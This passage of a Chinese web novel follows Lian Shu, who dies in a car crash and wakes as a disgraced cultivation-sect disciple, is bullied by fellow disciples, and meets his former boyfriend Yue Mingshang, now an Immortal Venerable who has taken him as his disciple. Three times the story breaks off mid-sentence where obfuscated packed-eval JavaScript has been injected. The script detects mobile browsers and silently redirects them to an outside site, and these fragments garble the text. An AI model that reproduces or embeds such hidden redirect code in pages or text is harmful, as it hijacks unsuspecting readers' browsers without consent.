眼见整个月华居除了里面昏睡不醒的人就只剩他们,左童子眼睛咕噜一转,冲着右童子“嘿”了声:“最近你有没有听见什么传言?” 屋内的软榻上,日光从窗棱里一跃而进落在蜿蜒铺散开的长发上,连舒的意识几日来如浮萍般起伏,在不知道昏迷的第几日,下坠的意识终于触地。 他的耳朵微动,敏锐听见压低的嘀咕声。 “……没想到啊没想到……” “难不成……这样……可恨之人必有可怜之处……” “……传言……果真?” 这声音不是越明商的。 连舒都惊讶于自己半清醒的第一反应竟然会想起诈尸的越明商,他努力地试图听见更多,眉头不知觉紧蹙,在多次尝试后,刺目的日光终于从眼皮间的缝隙中挤压进去。 他捂着额头,表情罕见有些愣怔。 室内不是他想象中惨白的医院,而是古色古香的居室,博古木架靠贴在墙壁,上方的金银玉器只当点缀,更多的是堆叠的竹简。木架边安置低矮的书案,上方是摊开的玉简和剥开剩了一半的橘子,剩下的橘子皮掉在了蒲团上。 连舒又低下头,自己身上也穿的不是大价钱定制的衬衣西装,而是单薄柔软的白色亵衣,腰间系带松松垮垮打着活结,绸缎般的长发顺着他低头的动作垂于胸前——若说方才所见他还能面不改色,可视线落在毫无杀伤力的长发上,成功令他逃避似的闭上眼睛。 要死了。 他神色凝重地抚上绣着红鹤黑云的被面,苏醒的大脑迅速转动。 连舒艰难起身,总觉得身体有一种明显的亏空感,腹部宛如囤积着一团湿漉漉的乌云,冷风细雨从腹部吹过,呼吸都颇为费力。 连舒掀开被子赤脚踩在地上,立刻检查起这具身体——令他意外又不意外的是,腹部胸膛一片光滑,没有车祸时应该存有的血口,连一点碰撞的乌青也不存在,健康得让他心律不齐。 这不正常。 环境陌生得不正常,不是头套的长发不正常,分明被玻璃划伤的脸却光滑平整得不正常! 连舒手上动作粗躁地解开腰间的活结,正准备脱衣服检查双臂后背时,门口忽然闹了起来。 “你让我们进去!” “……有令……姜师兄虚好好静养——” 连舒动作一顿,竖着耳朵听着门口的动静。 外面似乎有人动手推攘,伴随“砰”地一声,响起清楚的闷哼低呼:“师兄不可!” 殿门嘎吱被大力踹开,大捧刺眼的亮光涌入。连舒缓了缓心跳,重新坐在床榻边缘,不动声色地看着门口。 门被打开,但外面的人似乎倒不急着进来:“什么姜师兄?对着同门下杀招的师兄?现在他一个废人,还想当我们的师兄,他也配?!” 有人捧场地跟着冷笑两声,说话那人这才威风凛凛宛如打了胜仗似地抬步进门。 走在前头的目测是个二十出头的年轻人,两鬓单独留着长须,浓眉大眼显得正派,可脸上未消减的婴儿肥让他的气势骤减一半有余,就算连舒将他嘴里的讥讽听得一清二楚,此刻见他那屁大点小子的模样也生不起气。 后面跟着的两人容貌清秀周正,一个肤色深,一个肤色白,三人都穿着黑金色短打,统一服装加之他们嘴里的“师兄”,让连舒揣测自己这是大难不死穿越到了武侠世界。 他脑中没有一点原身的记忆,面对显然对“自己”了解颇深的三人,连舒只能倒下桶沉默的万金油。 “姜青,你也有今天。” 很好,连舒心里咂摸着这句话,姜青……估计是他这具身体的名字。 他微微颔首,心说自己初来乍到,脾气还是收着点,先点点头算是打了招呼。 谁知这一举动让对方面色更加铁青,为首的年轻人霍然抬手,食指指着他的脸,毫不客气道:“你杀罗师兄不成,本该受罚,但念你如今废人一个,宗主容你好好养伤,可你但凡还有廉耻,就该自请下山!这样也算给罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438592|169322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师兄一个交代!给大家一个交代!” 来者不善。 连舒缓缓抬眼仔细绕着三人看了圈,又捏了捏拳头试试这具身体的力气。 三对一,也还行。 越明商呢?连舒心里啧了声,苏醒后短时间内,他第二次想起跟自己一样诈尸的前男友。该出现不出现,不然就能三对二。 不对,想起越明商那看热闹不嫌事大的性格,他真要来或许自己还得腾出手来一对四。 念及此,连舒谨慎开口:“什么交代?给谁的?” “你——”年轻人被他明知故问的态度刺激到,双目怒红,竟直接上前一步要拽住连舒的衣襟,好在身后两人眼疾手快地一左一右架住他扑腾的胳膊。 “魏师弟别生气——” “不能打啊!这里是月华居——” 年轻人羞怒交加一把挣开身上的禁锢,喘着气背身走了几步,仿佛借此让自己冷静下来。几息后,他转身与神情毫无波澜的连舒面对面,似乎想到什么再次得意:“姜青,你这般无法无天嚣张至极,不就是仗仙尊的势?你以为犯下如此大错仙尊还能纵容你不成?” 这话魏清说得自己都颇为心虚,姜青犯事证据明了,可司律堂偏生为了这人证物证具在的事情迟迟未给出责罚,能影响司律堂且和姜青有关之人,不……明摆着嘛。 处罚太重不给玄明的面子,处罚太轻,又影响宗规的权威。司律堂堂主夹在其中,这几日愁得胡子都被揪掉了几根。 魏清此次前来,就是要赶在司律堂给出不轻不重的惩处前让姜青无颜继续留下! “你为何从不深想,自己资质普通,比心性你远不如罗遇师兄,论资质,你根基不稳全赖丹药堆积到金丹,靠什么能得仙尊如此青睐?!”魏清表情变化迅速,愤恨、不满,转眼看他的视线又夹藏不屑和饱含恶意的怜悯。 连舒听完,只挑出了新的信息。 他按下蠢蠢欲动干架的念头,悄无声息将攥紧时刻准备着的拳头松了松。 ——原来这不是武侠世界,而是next level,修真界! 打不赢,这真的打不赢。 连舒摸了摸自己现在远不及上辈子的二头肌,认命地叹了口气,这才面无表情地称赞道:“你说得好有道理,我现在就往深处想想。” “……”魏清气息一哽,分明对方示弱,可为什么怒火还是蹭蹭上涨?他咬牙问,“你要想多久?” 连舒缓了口气,有得谈就行。 他不怕打架,但真不想打一场必输的架。 连舒从容轻声道:“能不能给我一首歌的时间?” “??” 魏清没懂,后面的两人也没懂。 连舒看着自己什么也没做,却忽地再次发飙又被制止的魏清,不知道第几次叹气。 他忘了,这是修真异世界,没人能懂他嘴贱中夹杂的小幽默。 解铃还须系铃人,看着暴跳如雷真要动手干架的魏清,连舒只能耐着性子亲自安抚:“好了好了,你究竟想说什么?” 说什么? 魏清紧绷着脸皮,推开挡在自己和连舒间的人,平复呼吸,心想要说的事可多了去,也不知道一向心比天高的姜青陡然得知真相还能不能摆出如今淡然的模样。 5. 第 5 章 “要说数百年前,玄明仙尊同宗主乃生死之交,得宗主亲自邀请才让那时元气大伤的巽衍宗有了唯一一个化神强者坐镇。” 后山弟子围成一圈,细细听中间人有声有色描绘那段未曾亲见的过往。 “至于玄明仙尊在入巽衍宗前的过去,少有人知,只是仙尊两次失态都叫了同一个名字,也说明了……” 那时候魏清就坐在树丫上,将底下的热闹听得一清二楚。 “连舒,光听名字也不知是男是女,可以肯定的是,照姜青入门时仙尊对着他的脸失态可以推测,这连舒的模样与姜青一定极为相像!而仙尊又有如此实力,除了那人飞升和仙逝,我实在想不出第三种可能,能令如仙尊那样的强者对着一张脸失张失智……” “各位也知,修真界近万年无一人飞升,所以在下斗胆猜测,仙尊念念不忘之人一定身死道消,就连魂魄也无一缕残存,不然光凭仙尊的本事,怎会不蕴养神魂替那位重塑肉身,犯得着对着一个——呵,替身,再三纵容。” 替身。 在越明商忙着进出司律堂“无理也不饶人”、连舒昏迷不醒间,这两个字是彻彻底底烙在他身上,并且顺着这个逻辑,仙尊对姜青诡异的态度也令在场弟子们豁然开朗。 是的,诡异。 这是他们脑中不约而同的看法。 仙尊对姜青无疑是好的,顶尖的功法,唯一亲弟子的身份、以及不管发生什么事都会被轻拿轻放——就算几日前姜青对同门的杀意摆在了明面上,可仙尊却还是将人带回雪乌峰,这无异于是用自己的名声来给他兜底。 可诡异的是和他行动上截然相反的态度。 除一些基本修炼上的指导,仙尊对姜青亲近不足,疏离有余,仿佛这个弟子是别人强塞给他,这行为和态度的相悖令人百思不得其解。 姜青被收徒时,全宗门弟子皆在场,而仙尊并不掩饰的叫出“连舒”二字,那时众人虽有所疑,可并未深想,可如今—— 魏清讥讽地看着这个因为一张脸才有好日子的姜青,冷嗤:“现在你知道了,一个替身享受了本不该属于你的好处就罢了,心狠手辣,简直枉顾仙尊和宗门对你的栽培教导!” 他掩去不少细节,为防犯了忌讳也未提及替的是谁,只三言两语对连舒敲定了集众人之力抽丝剥茧而来的“真相”。 言罢,他手中兀地浮现一个包裹。 魏清直接将随便收拾出来的包裹砸在连舒的心口,行动间带着他急切掩饰的焦躁,身后的两人心虚地探查四周,就怕现在有人忽然闯入,却没注意门口的童子只剩下一个。 从昨夜得知大长老有退让趋势,魏清又气又愁,思索了整夜才用自己的脑子想出让姜青自己离开的法子。他估摸着姜青应是早就苏醒,雪乌峰上什么灵丹妙药没有,他怕是受不了自己沦为废物才迟迟不露面。 届时他只需稍微言语刺激一番,凭姜青的自傲能忍得下就怪了。 念头轮转,魏清肃容道:“东西已经给你收拾齐整,里头筑基丹、万阳还灵丹各一瓶。姜青,事已至此你便不要让仙尊为难,金丹筑基的弟子如何甘心被炼气踩在头顶?” 魏清声情并茂说了一箩筐,可床上的人只是顺着他情绪转变在适当时严肃又认真地点头摇头。 连舒用食指摩挲着下巴,对他的挑衅折辱都不发一言,这显然超出三人的预估。 “喂——”身后的较为年长的男子狐疑上前一步叫了声沉浸在自己思绪的连舒,“怎么不说话?” 多说多错,连舒当着几人的面掀开被子将双腿放在榻上,后背靠着软枕,觉得差点什么又佯装虚弱地干咳几声敷衍表示自己的拒绝,听得魏清握紧双手。 “因对你有意包庇,宗门内对仙尊议论纷纷,你强行留下不顾仙尊名声,良心不会痛吗?!” “姜青!你平日不是很能说吗?现在怎么一声不吭?” 仙尊……仙尊…… 他心里咂摸着这个出场数极高的人物,想着对方若是了解原身,他要怎么才能骗过去。 修真界的手段可比现代社会多出太多,什么傀儡、炉鼎、搜魂、夺舍的,他一个现代人的魂魄若是在这个仙尊面前露出破绽,对方有所怀疑可不会好心带他去看大夫。 “你有没有听我说话?!姜青!” 还有替身…… 不会是他想的那个替身吧? 连舒想得入神,忍不住用拇指摩挲着食指指腹。他闲暇时会刷短视频,偶尔会被推送一些女频小说片段,他本想划过,但那些视频的开头太抓人耳朵。 什么“我重生了,重生在知道丈夫出轨的那一年”,“前世校草魂穿到我家小狗身上时,我的闺蜜正好在家”或者“人人都知道,我只是京圈太子白月光的替身……” 糟糕了,女频中的白月光替身,这着实让他后背窜起阵阵寒意。 “姜青!!”被无视个彻底的魏清再也受不了,不顾劝阻地上前狠狠抓住他的领口猛力一扯,顿时让头脑风暴的连舒回过神,将“白月光”“回国”“金丝雀”“火葬场”抛在脑后。 他长发披散面色苍白,双眸回视过去时眼底没有被羞辱后的愤懑,亦或者得知自己成为废人的麻木绝望,平静得诡异。 修士难有丑人,姜青的面容也很有迷惑力,五眼三庭都是细挑也挑不出错来,有时被他挑衅,尽管生气目光也难以从他脸上移开。那种跋扈狂妄的邪魅气质,满宗门愣是难找出第二个来。 “为什么不说话?!” 面对冲动易怒的魏清,连舒面色不变,但好脾气也被消磨半分,当下呛声:“因为良心痛到说不出话。” “你——”魏清一噎,气血上涌,念头还不过脑子抬手就本能一挥! 接触到凶煞灵气的刹那,连舒禁不住面色巨变!他的身体仍旧冰凉,但是骨骼脏腑却被好似快被熔成团血水,冷汗止不住冒出。他咬牙闭上眼睛竭力咽下喉头的腥甜,细看能瞧见手背上鼓动的青筋。 连舒没料到这具身体差到这种地步,他甚至没感觉到对方与他有肢体接触,仅仅一道“风”,就吹得他的意识摇摇欲坠。 与此同时,魏清高抬的手还未落下,屋内就骤然爆发出第二波更沉重却又只精准罩在魏清三人身上的灵气! 魏清怒容仍在,目光就陡然僵直!三人呼吸失控的瞬间,一个令他们心口猛地咯噔一声的身影倏然出现! 【连舒!】 脑子里忽地蹦出一声惊呼,连舒冷不丁被吓得抬头—— 两辈子,他还是第一次看见越明商长发的模样。 那人身上的锦衣华服层层叠叠,黑袍红衣庄重华美,繁复的金线刺绣主要堆叠在衣摆处,随着主人的动作熠熠生辉。 连舒被他这孔雀开屏的模样震得双眉都止不住上扬,嘴唇轻动,短促的半个音节伴随血迹从嘴角流了出来—— 连舒惊诧神情猝然一僵! 输了。 他抬手摸了摸嘴角,垂眸盯着指尖上的血色,然后心如死灰地闭上眼睛。 这跟他骑自行车偶遇坐在迈巴赫里的越明商有什么区别? 自尊心微创的连舒被人扶着好好躺下,耳朵里嗡嗡声一片,他半抬眸,眼前越明商靠近的脸晃成数道残影。 “仙、仙尊……” 在他身后,方才气势汹汹的魏清低着头,声音透着十成十的心虚胆怯。 跟在魏清身后的两人,稍微年长一些的名叫严计,天生微笑唇看起来脾气好的是彤云,两人都是刚由外门弟子升入内门,资质平平,进入巽衍宗前是小地方修士家族内供养出的子弟。 严计和彤云的资质不算出众,为了一些亲传弟子手指缝中漏下的丹药,他们也甘愿成为对方的跟班,可那都是私下几个弟子间的杂事,万万想不到今日会被仙尊抓个正着。 余光中,连舒瞥见越明商身形四周晃动着肉眼可见的淡金色波纹,而那些波纹逐渐将自己包围,丹田处的灼烧之痛瞬间减轻,他努力找回意识,断断续续听见室内热闹得厉害。 什么“求师兄原谅”“无心之失”“只是气息外泄”……连舒面无表情地咽下嘴里的血水,等越明商的手指从自己手背上撤离,摇晃的视野终于稳定,体内残余的不适也被一扫而空,五感恢复正常后,事件也将将到达尾声。 看起来最老实的彤云眼含热泪,痛惜地指向身侧脸色铁青的魏清,声音哽咽可气息却异常平稳。 “——是魏清他推了姜师兄!他推了姜师兄!” * 连舒到来的第一天,越明商急中有喜,无视他人的欲言又止带着人回到月华居。 当用神识察觉到他体内的状况,越明商梳理他暴动的灵力和修复开裂的灵脉就花费三日。 待连舒的情况稳定后,越明商就拖着蒲团、移动书案到了床榻边,手上忙忙碌碌剥着橘子皮,一目十行地看着漂浮在半空的话本子,看几页扭头瞧瞧床上的人睁没睁眼。 好不容易等人睁眼,他才占了一嘴的便宜人又晕了。 短时间情绪大起大落,越明商又在那个档口接到宗主的传音,整个人气息低沉得吓人,在司律堂舌战群雄,留下几日光辉战绩后他那点憋闷才散开,甚至后来有意识地记住外人的神情,盘算着等连舒醒来仔仔细细说给他听。 但真和他见面,气氛和自己预想的微微不同。 魏清三人离开后,屋内就仅剩下不知怎么忽地陷入尴尬的两人。越明商强迫自己不能移开目光,硬逼着自己和同样沉默的连舒四目相对。 连舒看着欲言又止的越明商,视线又落在他抬起又放下的手,对方似乎想要坦坦荡荡打个招呼,可那只手就只在底下打着晃。 连舒心想搞什么,不说话干看着,怎么,他脸上雕着花? 他嘴唇动了动,想着自己随便说句话破个冰,但很快面色也变得古怪。 连舒好似也被微妙的氛围感染,什么场面话都腹死胎中,半个字也蹦跶不出来,只有混淆在复杂情绪里的胜负心鹤立鸡群,令两人都强撑淡定,目不转睛。 盯—— 对视的时间已然超过正常范围,两个心性成熟的大男人终于后知后觉自己行为幼稚,脸皮发热。 连舒眨了眨眼神色自若地将惹他烦的长发拨弄到背后,终于率先垂下眼帘,不动声色长吸了口气。 而越明商也回过神,干咳几声,手上小动作频发,一会儿摸摸袖口,一会儿调动灵气,手心里凭空出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438593|169322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现半个橘子,他侧着身体递过去,努了努嘴:“吃橘子吗,bro?” 连舒复杂地看着他的掌心:“越明商……” 越明商耳朵微动,像是察觉到气氛开始从方才无所适从的尴尬进入平缓的过渡期,他抬了抬下巴,眉宇间多了丝笑意:“干嘛?” “上辈子你破产了吗?”连舒抬手接过他掌心的半个橘子,忍笑道,“橘子都舍不得给一整个。” 刚绽放的笑意瞬然凋零,越明商听着熟悉的腔调,气噎喉堵的同时,眼底又忍不住泛起阵阵喜色,硬装淡然没几分钟,就一屁股坐在床榻翘着腿。 “你才破产了!” 连舒缄默着剥完那半个橘子,将果肉重新递回到越明商的掌心,才正色问:“虽然心里有所猜测,但我还是抱着侥幸心理问你一句,越明商,我们真的穿越了?” 同为当事人,越明商在他问后长长叹了口气,似乎能够理解他此时的不可置信,“哎”了声就塞了一嘴的果肉,含糊回:“是穿越了,魂穿,还穿的修真界,就是我们看的‘三十年河东三十年河西’的修真界。” 他指了指坐在床上的连舒:“你现在这具身体的主人叫姜青,是巽衍宗的弟子,你来的时机恰好,刚续上他咽下的气,所以当时在场的人都没察觉这具身体被夺舍——” 说到这越明商疑惑地摸着下巴,本来就大的眼睛更是溜圆,显得智商不高,和方才有外人在时的故作高深完全是两个人:“怪哉怪哉,你怎么会在那时候来呢?姜青再怎么样也是金丹修士,就算身死,魂魄也不会顷刻湮灭。” “你昏迷时我还探查过他的魂识,却一点踪迹也无,也不知道是死了还是和我们一样有了奇遇……”说罢他咽下果肉,“他原本是金丹修士,但在比斗中被人拍散金丹,凝聚成丹的灵力遽然爆开,灵脉开裂肺腑也被波及,现在你的状态和毫无灵力的普通人差不多,能吸收转化的灵气少之又少。” 连舒点点头,但并不觉得这是个天崩地裂的开局,他原本也只是个普通人,就算重生变成普通人也还是大赚特赚。 越明商的态度愈发自然,此刻真情实意安慰起他来:“你也别担心,修真界连仅剩一缕残魂都能重铸肉身,只是金丹被拍散也算不上大事。” 越明商只挑好的告诉他。 虽然不是大事,也不是小事。 若要重新修炼,必须得找齐天材地宝,向高阶丹修许以重诺或者重金——金,显然不是灵石,而是罕见的灵植或者法器,亦或者价值连城的消息才足够让高阶丹修出手炼制极品九转复灵丹,此间种种耗时耗力,远不是他随口一说就能解决。 “那你呢?”连舒问。 越明商抿了抿嘴,还是没压下委屈:“我比你还惨!刚来这一睁眼就是渡劫的天雷!” “原身应该是渡劫途中最后一道天雷没有撑住烟消云散,我运气差,又运气好,最后一道雷我挨过但是没死反而阴差阳错渡劫成功。可当时我和你现在的状态一样,记忆没有融合,身边的人一个不认识。等我再次醒来被安置在巽衍宗,周遭都是白胡子老头一脸喜色地看着我……” 光是想想当时的情景,连舒就一阵窒息。 “我那时都不知道穿越的地方是修真界,可好在我什么话也没说,且原主的修为强地位高没人敢轻易试探……就这样,我一个人住在雪乌峰等记忆融合了才敢出门露面。” 连舒听他絮絮叨叨,代入当初他所处的窘境,好笑中也隐隐透着命悬一线的危险。 “所以记忆会融合?”连舒抓住了重点。 越明商点头:“对,我不知道你和我的情况会不会一样,但最初我也是什么也不知,可待了段时间有记忆陆续融合。” 连舒低头看着那双骨节分明的手:“那我的身份就是宗门弟子,那些人说的惩罚又是怎么来的?” “宗门大比点到为止,但姜青对人下了死手,反被人打散金丹,此事在大庭广众之下发生,宗门门规上,同门厮杀按理要逐出宗门且领受鞭魂刑罚。加之姜青素日的人缘欠佳,所以这事情一出,虽说最终的处罚还未公布,但你昏迷期间,偶尔会有弟子在雪乌峰外徘徊等着看热闹。” 连舒了然:“借尸还魂,顶多给人收拾剩下的烂摊子,也不亏。说吧,什么责罚?让我有个心理准备。” 越明商好似从进门后便一直在等这句发问,当下并拢双腿猛然起身,声音刻意压低神神秘秘问他:“连舒,你怎么不问问我现在的身份?” “……”尽管自己耳朵没聋,魏清三人“仙尊、仙尊”叫得字字铿锵,但看着面前一个劲抖着广袖、来回踱步、目光飘忽来飘忽去最终仍旧落在他身上的越明商,连舒诡异地沉默两秒,而后故作沉思双臂环胸,“真是好难猜啊,所以你现在的身份是?” “我是你爸爸!”越明商哈哈大笑,得意猖狂的劲节节攀高,眼睛笑得不见缝隙,双手背后抬头挺胸,要是有尾巴此刻都能翘上天,“老话说一日为师终身为父!连舒,你如今是我徒弟,我呢,是你的亲亲师父,要是爹实在叫不出来,唤我一声义父,哎,也勉强可以。” 连舒“慈眉善目”地看着他,脸上笑意浅浅,嘴下却不留情面:“确实,爹实在,叫不出来。” 6. 第 6 章 连舒没想到越明商身上的幼稚劲过去十年还没褪去,被让叫人爹他也不恼,反而看着陷入巨大幻想中的越明商从猖狂到笑到竭力,又因为没人捧场而面露尴尬,最后广袖小幅度地随着甩甩手而晃动不止。 连舒后背靠着方枕,不看他有些失血的脸色,倒比任何人都惬意:“你来了多久?” “也就比你早一段时日。”越明商正经起来,“你……你是怎么来这的?” 他没预料到在这个世界上还能碰上熟人,或许在看见姜青那一刻,他有短暂的欣喜上浮,可在确定身份后,转而升起的不是失落,反而是庆幸,毕竟英年早逝不是好词。 越明商半垂下眼帘,掩饰问出口时眼底的复杂。 连舒下意识摸了摸脸颊,车祸时脸上火辣辣的痛楚好似还有所残留,可醒来接受的信息太多,反而自己身死的惊悸被消磨殆尽:“出车祸。” 他口吻不显沉重,但却带着怅然:“运气不好,车子和大货车撞上,我根本没发现场景变化,穿来那会儿还以为周围是着装奇怪的路人,想着让他们帮忙叫救护车。” 他三言两语带过,反问:“你呢?你——” 连舒又想起了那通电话,他并没有将自己的死怪在那通电话上,命运就是这么难以捉摸,有这一劫谁能预料?只是想到电话内容,越明商比自己早死他知道,只是死因电话里没有提及。 “你怎么来的?” 越明商也笑笑,轻飘飘一句“生病”揭过。 连舒顿时想到了各种癌症,了然之余,也觉得他们实在可怜。 “人生无常,还不如人到中年我啤酒肚你地中海。”连舒惆怅再三,大脑不断被洪流般的信息量冲刷,一会儿穿越、一会儿面对不怀好意的刁难,以至现在提及自身的死亡,除了惆怅可惜,还有可耻的逃避的心理。 “至少我们还活着……” * 司律堂对姜青的惩戒在连舒醒来的当日就公之于众。 虽说未被赶出宗门,但连舒需进行为期半年的苦役,半年内每月只能领取杂役弟子的份额——几枚低阶丹药和凑活过的灵石,除此之外,宗门任务也需完成,但以他现在的实力,只能选择最低等的任务勉强过渡。 “杂役弟子,听着虽然不好听,但是对现在的你而言也算是好去处。修士敏锐,虽然对外我宣称你遭受打击生了心魔以致失忆,可还是怕有个万一……好在这三月你能接触到的大部分是修为低下的杂役弟子,多少能避开一点有心人的试探……” 听这话时,连舒看着神情自然目光不避不让的越明商,手放在腰封上迟迟没有下一步。 夜色如墨,月华居的后方人为建造了一座灵池,池水灵力温和,修复灵脉暗伤再适合不过。连舒适应了身体凉飕飕的异常,能下地走动就被越明商拉着到了池边。 灵池四四方方,边缘堆砌着光滑的鹅卵石,四处棱角按照方位摆着上古神兽作为入水口,池面水雾缭绕,连带着看人的目光都有种朦胧的美感。 越明商说话声就在这样的目光下渐渐低下去。 高中时两人成为周抛同桌的第一周,越明商就觉得这人表里不一。只看表面,连舒的五官是不管大众审美怎么变动都永不过气的周正俊朗。眉眼立体深邃,鼻梁高挺,下颚角有略微存在感,却是很利落流畅的线条。 他总是板着脸,越明商也正值爱装逼的青春期,见他一天二十四小时都憋不出一个笑来,只觉得连舒比自己还装。 自己装潮男,他装高冷。 可随着简单的接触,又觉得他性子闷骚,简直和表面形成了强烈的对比,具体表现在那张毒死人的嘴。 “……难怪他们私下都这么说你。” 时至今日,越明商都还记得当时说这话时连舒的表情,唇角微扬,双眸中实时滚动着三分不屑、一分怜悯和十足十的挑衅。 可不得不说,那双眼睛可真够俊的。连舒的眼皮褶皱宽且深,瞳孔清亮,眼白干净,每一次的对视都让人忍不住感叹他面容的俊朗和气质的独特,端正时如青松翠竹,可是笑起来,正气凛然的矜贵公子瞬间变成了为祸人间的邪魔。 而现在,这双眼睛被水雾柔和了那股不宜生出亲近的邪气,越明商不止一次和姜青对视,可独独没有感受到如今这般重新破土的心悸。仿佛这种南辕北辙气质的转换是跟随对方的灵魂,从一个世界,被带到另一个世界。 孤男寡男+昔日情缘+十年重逢+双双穿越,buff都叠成这样了,越明商自己都觉得是老天爷在给他们保媒。 “我知道了。”连舒见他还不走,想了想,还是没有出声提醒,只是裸着上半身罢了,也不用特意让人避开,倒显得他不敞亮坦然。 他穿着亵裤坐进灵池,还未来得及感叹这灵池实在是个好东西时,一颗脑袋就从他的背后冒出,声音近得连吐露的热气都快倾灌进他的耳朵里。 “或许会有人去找你麻烦,这也是避免不了的事,姜青过去结怨太多,你来,他的事就直接落到你头上。弟子间的小打小闹我也不好出手,也不能出手,不然上一件事又得重提……” 越明商笑嘻嘻地拍拍他光裸的肩头,连舒眉峰忍不住一跳,狐疑的视线看向搁在他肩头的手。 占他便宜? 连舒盯着那张笑容灿烂的脸,匹配记忆里对方的性格,又不太像,毕竟越明商的字典里就没有分寸和边界感这种词汇,不然也不会在他们刚认识不久张嘴就是“改个名吧哥们,这名字多晦气”。 “但是你不用担心,你现在的修为只在炼气,他们不可能动手,不然就是纯纯欺负人。” 连舒扭头问他:“以我现在的武力值,能打几个?” 越明商勾了勾唇角:“想听真话还是假话?” 连舒定定看了他半晌,随即扭头声调平平:“算了,你还是别说话,我知道时代变了。” 越明商桀笑一声,双手插在衣袖内抱臂蹲在灵池边,像个小老头似的絮絮叨叨:“但他们真动起手你也别怕,你也是有靠山的人,只需要叫我一声,我肯定翻山越岭也来救你,这叫什么?” “叫葫芦娃救爷爷。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438594|169322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “舐犊情深!” 两人的声音同时响起,越明商哼了声,显得不高兴了:“连舒,我现在是你的金大腿,你得学着讨好我,讨好我的第一步,就是要学会拍马屁说些我喜欢的。” “就像你以前那样?”连舒想起些旧事,笑意浅浅:“祖宗爷爷的叫我就为了让我给你撑场子?” 高中连舒的人缘出了名的差,亲近的朋友没几个,而越明商的人缘好坏一半一半,好在他待人大方,坏在他很能给自己找事。 隔壁学校两男争一女发展到线下约架,越明商要上赶着手作横幅给人拉cp;或者听说自己的周抛同桌被人堵在巷口,他要屁颠颠凑热闹。从不好好背的书包被主人一甩,掉在被人踢倒的空油漆桶边,越明商的目光隔着六个人高马大的混混和连舒对上视线,表面没有一丝担忧关切,只把幸灾乐乐乐乐祸写在眼睛里:“六打一算什么好汉,加我一个,七打一!” 也是那天,越明商求饶的声音在七个人里是如此“鹤立鸡群”,尾音不断上扬,唱戏般咿咿呀呀,好几次被敲闷棍的连舒都不禁破功从喉咙里呛出几声笑。 他是打小练出来的身手,越明商也学过散打,但是少了点实操的狠劲。被打了,他也不记仇,反而觉得挺酷:“之前我还觉得你挺装,算我眼拙,我要是有这么帅的身手,我比你还装。” 群殴结束后,越明商手上提溜着书包,凑到连舒身边:“装哥,我叫越明商,之前我们还说过话的。” “记得不?我说你名字不好听,你爹妈缺心眼那个——你叫连舒我记得,想忘也忘不掉,谁让你名字这么特别,你有弟弟或者妹妹不?你弟弟妹妹就叫连赢吧,一家子中和中和,不然多晦气。” 连舒嘴角噙笑,额头上的青筋在对方逐渐上扬的音调里不停蹦跶。 越明商不会看人脸色,或者说他现在不想看人脸色,说得眉飞凤舞:“要是你没弟弟妹妹,那就让你爹妈再生一个,然后按我说的取个连赢,啧啧,连赢连舒,一听就是一家人!” “诶,你怎么不说话,都是我在说?装哥,你身手真好,哪个老师教的,在哪学的?能不能推给我,到时候咱俩还当同学啊。” 连舒刚打完人,头顶烈阳高悬,两人的影子随着越明商的靠近粘合又分开,他平复着刚揍完人剧烈的喘息,手背上的擦伤也因为身边人的喋喋不休而隐隐作痛。 他心情好才会说几句呛死人不偿命的话,心情不好,直接就动手,越明商当时也是赶上好时候了。 连舒直直看着前方,抬起拳头往后一挥——“砰”地一声! 越明商瞬间捂着鼻子低下头,踉跄后退几步。 那一拳头并不轻,但也不算用力,可还是见了点血。 越明商摸着鼻尖的湿润,眼睛瞪得溜圆,像是没缓过劲,一脸懵地看着好整以暇准备接受他回手的连舒,视线在指尖的血色和他的脸来回荡漾。 “哇——”许久,越明商双眼爆发出他看不懂的光芒,顶着人中被抹开的鼻血对他竖起大拇指,喜笑颜开道,“装哥,你好辣啊!” 7. 第 7 章 体谅到姜青的身体现状,司律堂还贴心地给予他十日时间调养,在这争分夺秒的十日内,越明商几乎将藏书阁底层的竹简搬空,一摞摞堆在书案上给连舒细细科普。 “这里是阳歧大陆,大小仙宗无数,境界由低到高为炼气、筑基、金丹、元婴、化神、渡劫,最后就是飞升。” 连舒第一次出月华居着实被外头的风景迷了眼。雪乌峰是巽衍宗八大主峰之一,高耸入云,他站在峭壁之上只隐隐绰绰看见雾霭之下冒出的其他小山头,山脉蜿蜒千里,瀑布长河如银色绦带穿梭于其中。 而作为雪乌峰所有人的玄明真人——现在的越明商此时充当导游,左手把玩随意掐下的黄色小野花,垂眸看了看,兴致浅浅地将野花别在自己耳后,继续道:“但是上一次飞升已是在万年前,阳歧大陆灵力枯竭,如今化神的修士也是屈指可数,更别提渡劫期。” 